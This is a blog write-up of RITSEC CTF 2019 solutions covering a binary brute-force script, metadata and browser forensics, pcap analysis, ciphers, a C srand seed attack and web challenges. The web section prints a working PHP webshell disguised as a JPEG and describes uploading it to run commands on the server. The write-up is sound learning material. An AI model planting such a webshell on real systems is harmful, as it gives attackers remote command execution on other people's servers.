Skip to content

RITSEC CTF 2019

RITSEC 2019 happened this past weekend (11/17/2019) and a friend and I decided to have a go at it. The following is a writeup of most of the solutions we came up with except a few I didn’t document 🙁

PWN

This was our weakest category with only one solve. The challenge is described below:

Bottles.zip is an archive file which contains 999 ELF files (linux executables). Each one is numbered 001-999 and displays a small prompt asking for a character; if you send the correct character it responds with ‘OK!’ and closes, if not it replies with ‘Nope!’ and closes.

 stu@Tempest  ~/Desktop/CTF2/bottles  ./001.c.out 
What is my character? 
A 
Nope!

The description mentions that eventually the flag format RITSEC{sometext}would appear sequentially amongst the solution characters. To solve this we wrote a quick python script which would test each character from a list of characters against the binary and record it when successful.

#!/usr/bin/python
import os
files = os.listdir("./bottles/")
files.sort()
answer = ""
letters = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_{}" 
#The above are characters we'll iterate (should have done all ascii for completeness)

for file in files:
  for letter in letters:
    string = 'echo %s | ./bottles/%s > derp.txt'  % (letter, file)
    os.system(string)
    try:
      f = open('derp.txt','r')
    except:
      print('cant open')
      pass
    output = f.read()
    f.close()
    if "OK!" in output:
      answer = answer + letter
      break
print answer

Running this script outputs the following (flag in bold for convenience)!

FfPsUUmKLzNQPtDZvXjqAJwgKehk_D_kESDzZKZWfCoGYGFQWmhoPlhrWNRUxzjh}PJWWEJhvKE
IeyhXvxnsceoqb{ogMeRbSJOQIicbosmrmTMgEwit{UWUwRIlngTqUWWSb}PmyEdJpuKzkyMvnB
lOECeJDiMnRihaLx_pMPfPajA_nzbsQLBc{rxRvuAvMq_fYqgV}y}ReHU{LrQlEWTvlAcFgrQRa
AwwhEEKLxfME}VFOZoObRyiAomKDpErkwrirJDkN_kD}yrZJqIRodvYmo{cBvSEGlGzVNwpGVMn
qSdXjNrqqqsn_kihMWzEfzJGTEckKEbrxOrP}iQnwuOiCmbtBVNCmUiWlSTEf}oBeKwmgwPjm_o
QecAVm}JAuahptzPVHMSbopjRYUzDL_pAhuWmhbIPAibwCotuKyoNiGBTRrnOrFJXflrwN{HnWD
tVjkRITSEC{AuT057v}WxTImOUruPEQJKtRPlLaGAPXetdRP_daEe_{riNrEUVdeQhGiIOGmgxP
oXAiFm{ZgTIohAeKWwWlXHzTHglI_nJAJn}KJV{wsIFgsGHvkjAQxxK}DVoDpIZUyL}dVboIFrU
uxp{{Ue}MSFDaldIpdND_DYiVpNBZCUYKVxXtaUrkSNkfOzgERlSIEgYlRioZgYODGgbrXoqljJ
zChJcZRjy}f{e

Challenge one down! On to the next section…

FORENSICS

Take it to the Cleaners!

This challenge is a nice easy introduction forensics challenge which has the above description. The file provided is the PNG below:

The two tools I usually run on forensics and steganography challenges are binwalk and exiftool. Binwalk is great for finding files hidden in files and exiftool will reveal interesting metadata in images such as the location it was taken or other useful tidbits.

First, I ran exiftool and saw the below text:

solson@Goliath:/mnt/c/Users/stewa/Downloads$ exiftool ritsec_logo2.png
 ExifTool Version Number         : 10.80
 File Name                       : ritsec_logo2.png
 Directory                       : .
 File Size                       : 4.3 kB
 File Modification Date/Time     : 2019:11:15 18:13:11-08:00
 File Access Date/Time           : 2019:11:17 10:48:47-08:00
 File Inode Change Date/Time     : 2019:11:15 18:13:23-08:00
 File Permissions                : rwxrwxrwx
 File Type                       : PNG
 File Type Extension             : png
 MIME Type                       : image/png
 Image Width                     : 328
 Image Height                    : 154
 Bit Depth                       : 8
 Color Type                      : Palette
 Compression                     : Deflate/Inflate
 Filter                          : Adaptive
 Interlace                       : Noninterlaced
 Palette                         : (Binary data 129 bytes, use -b option to extract)
 Exif Byte Order                 : Big-endian (Motorola, MM)
 Image Description               : Hi there! Looks like youre trying to solve the forensic_fails challenge! Good luck!
 Resolution Unit                 : inches
 Artist                          : Impos73r
 Y Cb Cr Positioning             : Centered
 Copyright                       : RITSEC 2018
 Exif Version                    : 0231
 Components Configuration        : Y, Cb, Cr, -
 User Comment                    : RVZHRlJQe1NCRVJBRlZQRl9TTlZZRl9KQkFHX1VSWUNfTEJIX1VSRVJ9
 Flashpix Version                : 0100
 GPS Latitude Ref                : North
 GPS Longitude Ref               : West
 Image Size                      : 328x154
 Megapixels                      : 0.051

At first I saw ‘Image Description’ as Hi there! Looks like youre trying to solve the forensic_fails challenge! Good luck! I immediately stopped reading and ran another tool or two before looking back at the exiftool output and seeing:
User Comment : RVZHRlJQe1NCRVJBRlZQRl9TTlZZRl9KQkFHX1VSWUNfTEJIX1VSRVJ9
This is a base 64 string which decodes to: EVGFRP{SBERAFVPF_SNVYF_JBAG_URYC_LBH_URER

We are told that the flag format is RITSEC{} so I took that string to dcode.fr/en and put it in a ceasar cipher solver and got: RITSEC{FORENSICS_FAILS_WONT_HELP_YOU_HERE}

Problem 2 down, onwards to challenge 3 RITSEC!

Long Gone

This challenge is the first of two Chrome forensics challenges in the RITSEC CTF this year. It was a pretty fun challenge, I relied on grep and strings for this however I found out just recently that the file was able to be treated as an archive and contained a sqlite type database of information. That would have saved some time for sure.

Since I didn’t know I could extract the file I relied on strings and grep and was able to solve both this and the next challenge.

I started off with strings chromebin | grep -i ritsec which searches (case insensitive) across the ascii of chromebin. It returned a LOT of data but there was a frequent recurrence of a specific url:

I navigated to http://us-central-1.ritsec.club/1/relaxfizzblur and the flag was presented there!
RITSEC{SP00KY_BR0WS3R_H1ST0RY}

3 down!

Vacation

Vacation was the second Chrome forensics challenge in the RITSEC CTF. The first one had to do with finding a flag in the history part of the chrome data, this one has to do with finding data hidden in the favorites. It took a lot of guessing and grepping to piece this one. My strategy was basically to slowly try to remove the junk data from the strings output. I ended up with this messy grep command which removed phrases I wasn’t interested in:

strings chromebin | grep "https:" | cut -d":" -f2 | grep -v digicert | grep -v "encrypted-tbn0" | grep -v "pki.goog" | grep -v "symcb" | grep -v "google.com"

While looking through that search I came across some data which looked like JSON, a grep like the following will return the data in a more direct way:

solson@Goliath:~$ strings /mnt/c/Users/stewa/Downloads/chromebin | grep ‘”type”: “url”‘ -A10 -B10
“id”: “1”,
“name”: “Bookmarks bar”,
“type”: “folder”
},
“other”: {
“children”: [ {
“date_added”: “13218332420496045”,
“guid”: “049fa757-4f01-4961-9993-299ab6ca9c2e”,
“id”: “5”,
“name”: “R”,
“type”: “url”,
“url”: “https://en.wikipedia.org/wiki/DJ_Qualls”
}, {
“date_added”: “13218332745456961”,
“guid”: “02950aad-3686-4c3e-aba7-c6e65071cf67”,
“id”: “7”,
“name”: “I”,
“type”: “url”,
“url”: “https://www.reddit.com/r/dankmemes”
},{

The data goes on like this for awhile. I noticed, while looking for a URL or something which I suspected had the flag, that the name field was changing and always 1 character long so I decided to grep only that field name and got this nice output!

solson@Goliath:~$ strings /mnt/c/Users/stewa/Downloads/chromebin | grep '"name": '
  "name": "crl-set-7252436630498538559.data",
         "name": "Bookmarks bar",
            "name": "R",
            "name": "I",
            "name": "T",
            "name": "S",
            "name": "E",
            "name": "C",
            "name": "{",
            "name": "C",
            "name": "H",
            "name": "R",
            "name": "0",
            "name": "M",
            "name": "3",
            "name": "_",
            "name": "B",
            "name": "M",
            "name": "_",
            "name": "F",
            "name": "T",
            "name": "W",
            "name": "}",

This flag is RITSEC{CHR0M3_BM_FTW}.

findme

Of all of the challenges in RITSEC 2019 this one gave me the most grief and if it wasn’t for a bit of guidance from a friend I would have completely missed it. The challenge gives a pretty small pcap which has a few conversations. One is a few HTTP requests, a second (smaller) http conversation, then some junk UDP data.

When following the conversations I initially looked at this larger conversation:

I went on to investigate the website (which had a base64 encoded png file unrendered —> a rick astley picture which should have been a sign that it was not where I should be looking. Another conversation in the pcap was this:

This much short conversation contained a link to a youtube video: https://www.youtube.com/watch?v=dQw4w9WgXcQ

I threw the blue in to a decoder and got a bunch of random characters back so went back to my rick astley png looking for more details. I spent more hours than I’d like to admit looking in to it…. However, a friend later said I should look in to other parts of the pcap which led me to the blue base64 encoded above.

The decoded base64 looked useless: T]1 @s
!h2w1DTDgxʫX-IbBщm( +G)?_
;}zUiBE늺{Wv6#<;nYu^ X<{(

So I decided to try a base64 conversion to file using this site: https://emn178.github.io/online-tools/base64_decode_file.html This gave me something which wasn’t that useful at first but after more analysis turned out to be a gzip file!

I decompressed the file and it gave me a file which I tried to run, it turned out to just be the text file!

The flag was RITSEC{pcaps_0r_it_didnt_h@ppen} and we scored ourselves another couple points at the RITSEC CTF!

These were the ones we got in the Forensics category so I’ll move on to steganography now!

Steganography

I’m not particularly happy about the_doge I spent a LONG time doing a lot of forensics on the file, checking all sorts of combinations of LSB encodings, looking for patterns and weird data in the file, and really just trying an awful lot of things which got me nowhere….

I bugged one of my teammates to check it out (he had just started the CTF on Sunday and it was an hour or two before the event ended, I really didn’t want this one to be unsolved. So….about 5 minutes after he says he’ll look I get this slack message:

So…that’s that…….

HD PEPE

I had a lot more fun with HD Pepe and enjoyed this challenge a lot. I ran exiftool and noted a few things:

There was a geolocation, an artist name, an alpha channel, and an image description. I checked out a few of those and did some fruitless meddling with tools to look for hidden things in the alpha layer but was ultimately unsuccessful. Eventually I focused on the Image Description and after a few searches and guesses landed on https://github.com/cyberme69420/hdpepe. This had a few files including an examiner.py and encoder.py I spent some time trying to figure out how to reverse the encoder before deciding to just try running the examiner program with a reasonably large number as it was tied to pixels and then removing the noise:

This looked promising from a flag size perspective and the code for the encoder had a ‘GenerateAValues’ function which seemed easy to reverse (looking at the initial picture with the examiner showed almost all pixels had a value of 255 for the alpha channel which is why I used grep -v to exclude them):

def generateAValues(b64str):
    numArr = []
    for ch in b64str:
        val = ord(ch)
        n = 255 - val
        numArr.append(n)
    return numArr

This function was easy enough to reverse by taking each alpha value from my file, subtracting it from 255, and taking the unicode character code and reverting it to base64 (just reversing the algorithm above). I could now iterate those alpha codes and get the flag!

That concludes the RITSEC Steganography challenges we were able to complete!

#Cryptography

I had no idea what to do on this one and I hadn’t slept much when I started looking for it. Ultimately I went to dcode.fr and started going through every crypto algorithm on the site putting in this input….about 45 minutes later I came across the rot-47-cipher….and it gave me a github link!! This github link was the solution https://github.com/clayball/something-useful-ritsec

https://www.dcode.fr/rot-47-cipher is the shit!

SHINY

Similar to the other crypto, this was a case of blindly looking for ciphers to try. However, there was a hint with the file being listed and it showed a picture of a golden bug. A quick google search returned the gold bug cipher and dcode.fr once again had a decoder!

Random

This challenge gives a socket which spits some data out at you when you connect and then expect some input!

Rendon, a teammate immediately suggested that it might be tied to a bad random number generator in the C language. This led to some scripting and testing until we found that unix time can be the seed for the srand() function, we were also able to use a small range of times to bruteforce these seeds until we arrived one which gave the numbers presented in our netcat session! We could then just enter the next number and get the flag!

int main() {
  srand(1574015364);
  for (int i = 5; i < 6; ++i) {
    cout << (i > 0 ? “, ” : “”) << rand();
}
  cout << endl;
  return 0;
}

./untwister -i input -d 10 -s 1573793322 -S 1574595322 # https://github.com/altf4/untwister

RITSEC{404_RANDOMNESS_NOT_FOUND}

MISCELLANEOUS

When I decided to tackle this…I was very sleep deprived and not in a good mind state….but I’ll post the code anyways….. Sorry.

#!/usr/bin/python3
import base64
import re
def is_hex(s):
    return re.fullmatch(r"^[0-9a-fA-F]$", s or "") is not None

f = open("/mnt/c/Users/stewa/Downloads/onionlayerencoding.txt","r")
encoded = f.read()

for i in range(1,150):
        nextround = []
        print(i, (type(encoded)),encoded[0:50])
        if "str" not in str(type(encoded)):
                encoded = encoded.decode()
                print(type(encoded),encoded[0:50])
        b16 = ""
        b32 = ""
        b64 = ""
        try:
                b16 = base64.b16decode(encoded)
                nextround.append(b16)
        except:
                pass
        try:
                b32 = base64.b32decode(encoded)
                nextround.append(b32)
        except:
                pass
        try:
                b64 = base64.b64decode(encoded)
                nextround.append(b64)
        except:
                pass
        print(len(nextround))
        if len(nextround) < 2:
                encoded = nextround[0]
        else:
                for i in nextround:
                        try:
                                encoded = i.decode()
                        except:
                                pass
#               i.decode()
#               print(i.decode[0:50])
        print("b16 - %s" % b16[0:50])
        print("b32 - %s" % b32[0:50])
        print("b64 - %s" % b64[0:50])
        if i == 149:
                print(encoded)

This was a mess but at the end we got our flag!

Flag was RITSEC{0n1On_L4y3R}

Alphabetical Challenge

The description here went off the page a bit so here’s the full string:
59:87:57:51:85:80{:40:50:56:08:82:58:81:08:18:85:57:87:48:85:88:40:50:56:59:15:56:11:18:85:59:51:}

This clearly looked like a normal format flag so we assumed the first characters were RITSEC. It appeared to be a substitution cipher and assigning arbitrary letters to the integers would let quipquip or a similar tool decode it for us!

WTF IS THIS NUMBER!

Like the previous challenge prompt, the number runs off the page so here is the number in full which is provided for this challenge.

1111111111111111111111111111111111111111111111111111111111111111111111111111111111:1001001:10010:1010011:234:151:234:1100010:1221:115:47:311:74:6D:57:1100101:5A:310:2E:100:27:4B:45:300:340:2G:11100:72:1M:3P:41

This was a weird one but Rendon realized there were lots of 1s and binary and came to the idea that each set of colon delimited values was likely in different bases. The number starts with 82 1’s:

1111111111111111111111111111111111111111111111111111111111111111111111111111111111

The ASCII representation of the decimal value 82 is R. We continue and see that 1001001 in base 2 is I and 10010 in base 3 is 84 which is T. The base continues to increment, but for some composite values a prime or composite factor is used for the base instead. This is seen with base 2 being used for the 8th place and base 10 being used for the 20th place.

{ base 7 234
 b base 2 1100010
 4 base 3 1221
 s base 10 115
 3 base 11 47
 s base 12 311
  base 13 74
 a base 14 6D
 R base 15 57
 e base 2 1100101
  base 17 5A
 r base 18 310
 4 base 19 2E
 d base 20 100
 1 base 21 27
 c base 22 4B
 a base 23 45
 l base 24 300
 _ base 25 340
 D base 26 2G
 u base 27[3] 11100
 d base 28 72
 3 base 29 1M
 s base 30 3P
 } base 31 41
 RITSEC{b4s3s_aRe_r4d1cal_Dud3s}

Now on to some web challenges!

Web

Misdirection is a pretty simple challenge which is based on following the 302 redirects! By visiting the page you are clearly redirected a few times, by using Chrome’s network inspector or other tools you’re able to view the series of redirects:

Looking at the data on the left we can see the full series of requests and see that our key is hidden there!

Based on its name and url this is pretty clearly an S3 bucket challenge! Visiting the page shows this:

Before going overboard and trying to SQLi or XSS all the things, I read up on S3 buckets. Navigating to the instance name + .s3.amazonaws.com takes you to view the raw contents of a bucket. Let’s take a look!

Sweet, so it looks like there’s a file called ‘youfoundme….txt’ in the bucket, let’s see if we can view it!

On to the next RITSEC web challenge!

This challenge stumped me for far too long!

This page was very uninteresting and contained only the following code.

<article>
<link rel="stylesheet" type="text/css" href="style.css">
<link rel="stylesheet" type="text/css" href="style.css">
<a href="https://twitter.com/RITSECclub" target="_blank">
  <svg version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px"
 width="30px" height="30px" viewBox="0 0 30 30" enable-background="new 0 0 30 30" xml:space="preserve">
   <path id="facebook" fill="#ffffff" d="M17.252,11.106V8.65c0-0.922,0.611-1.138,1.041-1.138h2.643V3.459l-3.639-0.015
c-4.041,0-4.961,3.023-4.961,4.961v2.701H10v4.178h2.336v11.823h4.916V15.284h3.316l0.428-4.178H17.252z"/>
  </svg>
</a>
<a href="https://instagram.com/_ritsec_" target="_blank">
  <svg version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px"
 width="30px" height="30px" viewBox="0 0 30 30" enable-background="new 0 0 30 30" xml:space="preserve">
   <path id="instagram" fill="#ffffff" d="M22.107,3.415H7.893c-2.469,0-4.479,2.007-
.479,4.477v4.73v9.486c0,2.469,2.01,4.479,4.479,4.479h14.215
c2.469,0,4.479-2.01,4.479-4.479v-9.486v-4.73C26.586,5.421,24.576,3.415,22.107,3.415 M23.393,6.086l0.512-
.004v0.511v3.416
l-3.916,0.014l-0.012-3.928L23.393,6.086z M11.693,12.622c0.742-1.028,1.945-1.7,3.307-1.7s2.564,0.672,3.307,1.7
c0.484,0.67,0.771,1.49,0.771,2.379c0,2.248-1.828,4.078-4.078,4.078c-2.248,0-4.078-1.83-4.078-4.078
C10.922,14.112,11.211,13.292,11.693,12.622 M24.328,22.107c0,1.225-0.994,2.219-2.221,2.219H7.893
c-1.225,0-2.219-0.994-2.219-2.219v-9.486h3.459C8.832,13.356,8.664,14.159,8.664,15c0,3.494,2.842,6.335,6.336,6.335
s6.336-2.842,6.336-6.335c0-0.842-0.17-1.645-0.467-2.379h3.459V22.107z"/>
  </svg>
</a>
</a>
<!-- upload and photos not yet linked -->
</article>

I initially tried viewing /uploads and /photos and just never typed the right URL (with .php) apparently because a teammate later found an upload page!

We tried to upload a few file and found that it only accepted JPEG files so we uploaded it and then found the photos directory let us view the files we placed there. The trick now was to find out how to put a php webshell in a jpeg. Fortunately, a quick google reveals a github post by @jgor who conveniently has a file all ready to go! (https://github.com/jgor/php-jpeg-shell)

ÿØÿà
<form action="" method="get">
Command: <input type="text" name="cmd" /><input type="submit" value="Exec" />
</form>
Output:<br />
<pre><?php passthru($_REQUEST['cmd'], $result); ?></pre>

We browse to our file and see that it has now been uploaded so we go and run commands. Eventually we run ls /home and see that flag.txt is there, one more quick command to cat it and we solve our last challenge of the event!

HUGE thanks to RITSEC and all the people who helped put this event on! Looking forward to RITSEC 2020!

Leave a Reply

Your email address will not be published. Required fields are marked *